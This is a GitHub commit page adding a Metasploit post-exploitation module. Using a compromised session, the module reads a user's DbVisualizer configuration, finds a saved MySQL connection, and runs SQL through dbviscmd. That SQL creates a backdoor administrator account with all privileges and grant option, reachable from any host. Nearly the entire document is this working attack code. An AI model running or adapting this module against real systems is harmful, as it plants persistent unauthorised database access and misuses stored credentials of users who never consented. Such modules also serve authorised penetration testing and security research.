Skip to content

Commit c59d72b

Browse files
committed
Land rapid7#3530 - dbvis database administrator
2 parents 19477db + 6d35867 commit c59d72b

File tree

1 file changed

+245
-0
lines changed

1 file changed

+245
-0
lines changed
Lines changed: 245 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,245 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/auxiliary/report'
8+
9+
class Metasploit3 < Msf::Post
10+
11+
include Msf::Post::File
12+
include Msf::Post::Unix
13+
14+
def initialize(info={})
15+
super( update_info( info,
16+
'Name' => 'Multi Manage Dbvis Add Db Admin',
17+
'Description' => %q{
18+
Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases
19+
(With GUI). The remote database can be accessed from the command line without the need
20+
to authenticate, which can be abused to create an administrator in the database with the
21+
proper database permissions. Note: This module currently only supports MySQL.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
25+
'References' =>
26+
[
27+
['URL', 'http://youtu.be/0LCLRVHX1vA']
28+
],
29+
'Platform' => %w{ linux win },
30+
'SessionTypes' => [ 'meterpreter' ]
31+
))
32+
33+
register_options(
34+
[
35+
OptString.new('DBALIAS', [true,'Use dbvis_enum module to find out databases and aliases', 'localhost']),
36+
OptString.new('DBUSERNAME', [true,'The user you want to add to the remote database', 'msf']),
37+
OptString.new('DBPASSWORD', [true,'User password to set', 'msfRocks'])
38+
], self.class)
39+
40+
end
41+
42+
def run
43+
db_type = exist_and_supported()
44+
unless db_type.blank?
45+
dbvis = find_dbviscmd()
46+
unless dbvis.blank?
47+
sql = get_sql(db_type)
48+
errors = dbvis_query(dbvis,sql)
49+
if errors == true
50+
print_error("No luck today, access is probably denied for configured user !? Try in verbose mode to know what happened. ")
51+
else
52+
print_good("Privileged user created ! Try now to connect with user : #{datastore['DBUSERNAME']} and password : #{datastore['DBPASSWORD']}")
53+
end
54+
end
55+
end
56+
end
57+
58+
# Check if the alias exist and if database is supported by this script
59+
def exist_and_supported()
60+
case session.platform
61+
when /linux/
62+
user = session.shell_command("whoami")
63+
print_status("Current user is #{user}")
64+
if (user =~ /root/)
65+
user_base = "/root/"
66+
else
67+
user_base = "/home/#{user}/"
68+
end
69+
dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"
70+
when /win/
71+
user_profile = session.sys.config.getenv('USERPROFILE')
72+
dbvis_file = "#{user_profile}\\.dbvis\\config70\\dbvis.xml"
73+
end
74+
75+
unless file?(dbvis_file)
76+
#File not found, we next try with the old config path
77+
print_status("File not found: #{dbvis_file}")
78+
print_status("This could be an older version of dbvis, trying old path")
79+
case session.platform
80+
when /linux/
81+
dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
82+
when /win/
83+
dbvis_file = "#{user_profile }\\.dbvis\\config\\dbvis.xml"
84+
end
85+
unless file?(dbvis_file)
86+
print_error("File not found: #{dbvis_file}")
87+
return
88+
end
89+
old_version = true
90+
end
91+
92+
print_status("Reading : #{dbvis_file}" )
93+
raw_xml = ""
94+
begin
95+
raw_xml = read_file(dbvis_file)
96+
rescue EOFError
97+
# If there's nothing in the file, we hit EOFError
98+
print_error("Nothing read from file: #{dbvis_file}, file may be empty")
99+
return
100+
end
101+
102+
db_found = false
103+
alias_found = false
104+
db_type = nil
105+
db_type_ok = false
106+
107+
# fetch config file
108+
raw_xml.each_line do |line|
109+
110+
if line =~ /<Database id=/
111+
db_found = true
112+
elsif line =~ /<\/Database>/
113+
db_found = false
114+
end
115+
116+
if db_found == true
117+
118+
# checkthe alias
119+
if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i)
120+
if datastore['DBALIAS'] == $1
121+
alias_found = true
122+
print_good("Alias #{datastore['DBALIAS']} found in dbvis.xml")
123+
end
124+
end
125+
126+
if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i)
127+
if alias_found
128+
print_good("Username for this connection : #{$1}")
129+
end
130+
end
131+
132+
# check the type
133+
if (line =~ /<Type>([\S+\s+]+)<\/Type>/i)
134+
if alias_found
135+
db_type = $1
136+
db_type_ok = check_db_type(db_type)
137+
if db_type_ok
138+
print_good("Database #{db_type} is supported ")
139+
else
140+
print_error("Database #{db_type} is not supported (yet)")
141+
db_type = nil
142+
end
143+
alias_found = false
144+
end
145+
end
146+
end
147+
end
148+
if db_type.blank?
149+
print_error("Database alias not found in dbvis.xml")
150+
end
151+
return db_type # That is empty if DB is not supported
152+
end
153+
154+
# Find path to dbviscmd.sh|bat
155+
def find_dbviscmd
156+
case session.platform
157+
when /linux/
158+
dbvis = session.shell_command("locate dbviscmd.sh").chomp
159+
if dbvis.chomp == ""
160+
print_error("dbviscmd.sh not found")
161+
return nil
162+
else
163+
print_good("Dbviscmd found : #{dbvis}")
164+
end
165+
when /win/
166+
# Find program files
167+
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
168+
progfiles_x86 = progfiles_env['ProgramFiles(X86)']
169+
if not progfiles_x86.blank? and progfiles_x86 !~ /%ProgramFiles\(X86\)%/
170+
program_files = progfiles_x86 # x64
171+
else
172+
program_files = progfiles_env['ProgramFiles'] # x86
173+
end
174+
dirs = []
175+
session.fs.dir.foreach(program_files) do |d|
176+
dirs << d
177+
end
178+
dbvis_home_dir = nil
179+
#Browse program content to find a possible dbvis home
180+
dirs.each do |d|
181+
if (d =~ /DbVisualizer[\S+\s+]+/i)
182+
dbvis_home_dir=d
183+
end
184+
end
185+
if dbvis_home_dir.blank?
186+
print_error("Dbvis home not found, maybe uninstalled ?")
187+
return nil
188+
end
189+
dbvis = "#{program_files}\\#{dbvis_home_dir}\\dbviscmd.bat"
190+
unless file?(dbvis)
191+
print_error("dbviscmd.bat not found")
192+
return nil
193+
end
194+
print_good("Dbviscmd found : #{dbvis}")
195+
end
196+
return dbvis
197+
end
198+
199+
# Query execution method
200+
def dbvis_query(dbvis,sql)
201+
error = false
202+
resp = ''
203+
if file?(dbvis) == true
204+
f = session.fs.file.stat(dbvis)
205+
if f.uid == Process.euid or Process.groups.include?f.gid
206+
print_status("Trying to execute evil sql, it can take time ...")
207+
args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\""
208+
dbvis = "\"#{dbvis}\""
209+
cmd = "#{dbvis} #{args}"
210+
resp = cmd_exec(cmd)
211+
vprint_line("")
212+
vprint_status("#{resp}")
213+
if resp =~ /denied|failed/i
214+
error = true
215+
end
216+
else
217+
print_error("User doesn't have enough rights to execute dbviscmd, aborting")
218+
end
219+
else
220+
print_error("#{dbvis} is not a file")
221+
end
222+
return error
223+
end
224+
225+
# Database dependent part
226+
227+
# Check if db type is supported by this script
228+
def check_db_type(type)
229+
return type.to_s =~ /mysql/i
230+
end
231+
232+
# Build proper sql
233+
def get_sql(db_type)
234+
if db_type =~ /mysql/i
235+
sql = "CREATE USER '#{datastore['DBUSERNAME']}'@'localhost' IDENTIFIED BY '#{datastore['DBPASSWORD']}';"
236+
sql << "GRANT ALL PRIVILEGES ON *.* TO '#{datastore['DBUSERNAME']}'@'localhost' WITH GRANT OPTION;"
237+
238+
sql << "CREATE USER '#{datastore['DBUSERNAME']}'@'%' IDENTIFIED BY '#{datastore['DBPASSWORD']}';"
239+
sql << "GRANT ALL PRIVILEGES ON *.* TO '#{datastore['DBUSERNAME']}'@'%' WITH GRANT OPTION;"
240+
return sql
241+
end
242+
return nil
243+
end
244+
245+
end

0 commit comments

Comments
 (0)